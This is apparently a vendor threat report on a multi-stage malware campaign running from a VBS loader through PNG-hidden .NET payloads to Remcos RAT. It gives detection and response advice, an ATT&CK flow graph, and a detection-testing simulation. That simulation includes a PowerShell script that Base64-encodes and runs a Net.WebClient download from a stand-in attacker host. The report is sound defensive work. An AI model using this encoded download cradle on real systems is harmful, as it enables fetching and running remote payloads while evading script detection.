SOC Prime Bias: Medium

25 Mar 2026 17:26

Tracing a Multi-Vector Malware Campaign: From VBS to Open Infrastructure

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Tracing a Multi-Vector Malware Campaign: From VBS to Open Infrastructure
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

The report covers a modular, multi-stage malware campaign that begins with a Unicode-obfuscated VBS loader, transitions to a fileless PowerShell loader, and uses PNG files to hide a .NET assembly that is later executed in memory. From there, the campaign can deliver multiple payloads, including Remcos RAT, UAC bypass DLLs, and Python-based tools. The threat actor hosts the entire toolkit in openly accessible directories under a single .xyz domain and several Cloudflare-backed subdomains, allowing fast payload swaps and multiple delivery paths such as weaponized PDFs and malicious batch scripts.

Investigation

LevelBlue’s MDR SOC detected the initial VBS artifact through SentinelOne, quarantined it, and decoded the script for analysis. Investigators found a Base64-encoded PowerShell command that downloaded PNG files containing embedded .NET assemblies, which were then loaded directly into memory via reflection. Broader infrastructure review exposed open directories serving not only additional VBS loaders, but also malicious batch files, ZIP archives, and Python payloads tied to the same campaign.

Mitigation

Recommended defenses include restricting execution of high-risk script types such as .vbs and .bat from user-writable paths, applying strict controls over PowerShell usage, and monitoring for suspicious in-memory .NET loading. Defenders should also block .xyz domains and closely inspect or restrict WebDAV traffic abused through Internet Shortcut files. At the network layer, filtering access to the known malicious infrastructure can help disrupt the campaign earlier.

Response

If this activity is detected, isolate the impacted endpoint, block all associated domains and URLs, and hunt for the relevant VBS and PowerShell artifacts. Investigators should search memory for the reflected .NET assembly and review the system for scheduled tasks or files created from the exposed directories. Detection content should be updated to identify PNG-based payload staging and any linked batch or Python components tied to the campaign.

"graph TB %% Class definitions classDef action fill:#c2e0ff classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef infrastructure fill:#d9ffcc %% Nodes node_vbs_file["<b>Malware</b> – <b>Name</b>: Malicious VBS<br/><b>Location</b>: \Users\Public\Downloads\Name_File.vbs"] class node_vbs_file malware node_t1059_005["<b>Technique</b> – T1059.005 Command and Scripting Interpreter: Visual Basic<br/><b>Description</b>: Execute VBS script to run commands"] class node_t1059_005 technique node_t1027["<b>Technique</b> – T1027 Obfuscated Files or Information<br/><b>Description</b>: Use Unicode and Base64 obfuscation"] class node_t1027 technique node_vbs_decode["<b>Action</b> – Decode Base64 PowerShell command"] class node_vbs_decode action node_t1059_001["<b>Technique</b> – T1059.001 PowerShell<br/><b>Description</b>: Execute PowerShell commands"] class node_t1059_001 technique node_tls12["<b>Action</b> – Force TLS1.2 for network connections"] class node_tls12 action node_download_png["<b>Action</b> – Download PNG payload from HTTP URL"] class node_download_png action node_t1071_001["<b>Technique</b> – T1071.001 Application Layer Protocol: Web Protocols<br/><b>Description</b>: Use HTTP/HTTPS for transfer"] class node_t1071_001 technique node_t1659["<b>Technique</b> – T1659 Content Injection<br/><b>Description</b>: Inject malicious content into legitimate files"] class node_t1659 technique node_png_extraction["<b>Action</b> – Extract Base64 .NET assembly from PNG"] class node_png_extraction action node_t1620["<b>Technique</b> – T1620 Reflective Code Loading<br/><b>Description</b>: Load .NET assembly directly in memory"] class node_t1620 technique node_loader["<b>Malware</b> – PhantomVAI .NET loader"] class node_loader malware node_fetch_payloads["<b>Action</b> – Fetch additional payload URLs"] class node_fetch_payloads action node_remcos_rat["<b>Malware</b> – Remcos Remote Access Trojan"] class node_remcos_rat malware node_uac_bypass["<b>Technique</b> – T1548.002 Bypass User Account Control<br/><b>Description</b>: Elevation control mechanism bypass"] class node_uac_bypass technique node_scheduled_task["<b>Technique</b> – T1053 Scheduled Task/Job<br/><b>Description</b>: Create scheduled task for persistence"] class node_scheduled_task technique node_secondary_stage["<b>Action</b> – Deploy batch and Python scripts"] class node_secondary_stage action node_process_injection["<b>Technique</b> – T1055 Process Injection<br/><b>Description</b>: Inject payloads into running processes"] class node_process_injection technique node_download_further["<b>Action</b> – Download additional files from Cloudflare directories"] class node_download_further action node_c2_communication["<b>Technique</b> – T1102.002 Web Service: Bidirectional Communication<br/><b>Description</b>: HTTPS C2 traffic using web services"] class node_c2_communication technique node_open_directory["<b>Infrastructure</b> – Open directory hosting (news4me.xyz, Cloudflare)"] class node_open_directory infrastructure %% Connections node_vbs_file –>|uses| node_t1059_005 node_vbs_file –>|uses| node_t1027 node_vbs_file –>|executes| node_vbs_decode node_vbs_decode –>|executes| node_t1059_001 node_vbs_decode –>|forces| node_tls12 node_vbs_decode –>|downloads| node_download_png node_download_png –>|uses| node_t1071_001 node_download_png –>|may use| node_t1659 node_download_png –>|contains| node_png_extraction node_png_extraction –>|loads via| node_t1620 node_t1620 –>|loads| node_loader node_loader –>|fetches| node_fetch_payloads node_fetch_payloads –>|delivers| node_remcos_rat node_fetch_payloads –>|delivers| node_uac_bypass node_loader –>|creates| node_scheduled_task node_loader –>|spawns| node_secondary_stage node_secondary_stage –>|performs| node_process_injection node_secondary_stage –>|downloads| node_download_further node_download_further –>|communicates with| node_c2_communication node_c2_communication –>|hosted on| node_open_directory "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    An adversary has obtained a PowerShell one‑liner that downloads a malicious payload from a remote HTTP server and executes it. To evade simple script‑file detection, the command is Base64‑encoded and executed via powershell.exe -EncodedCommand. The command line therefore contains the three strings the rule watches for: powershell, Base64, and Net.WebClient.

    1. The attacker crafts the PowerShell script:

      $wc = New-Object System.Net.WebClient;
      $wc.DownloadString('http://malicious.example/payload');
    2. The script is UTF‑16LE encoded and Base64‑encoded.

    3. The attacker runs the encoded command from a Windows command prompt (or a scheduled task).

  • Regression Test Script:

    # --------------------------------------------------------------
    # PowerShell script to simulate the Base64‑encoded Net.WebClient download
    # --------------------------------------------------------------
    
    # 1. Define the malicious PowerShell one‑liner
    $malicious = '$wc = New-Object System.Net.WebClient; $wc.DownloadString(''http://malicious.example/payload'');'
    
    # 2. Encode the command in UTF‑16LE and then Base64
    $bytes   = [System.Text.Encoding]::Unicode.GetBytes($malicious)
    $b64     = [Convert]::ToBase64String($bytes)
    
    # 3. Execute the encoded command – this line generates the telemetry
    #    that the Sigma rule is looking for (powershell + Base64 + Net.WebClient)
    powershell.exe -EncodedCommand $b64
  • Cleanup Commands:

    # --------------------------------------------------------------
    # Cleanup – terminate any stray PowerShell processes started by the test
    # --------------------------------------------------------------
    
    Get-Process -Name powershell -ErrorAction SilentlyContinue |
        Where-Object { $_.StartInfo.Arguments -match 'malicious.example' } |
        Stop-Process -Force
    
    # Remove any temporary files (none created in this test)

End of Report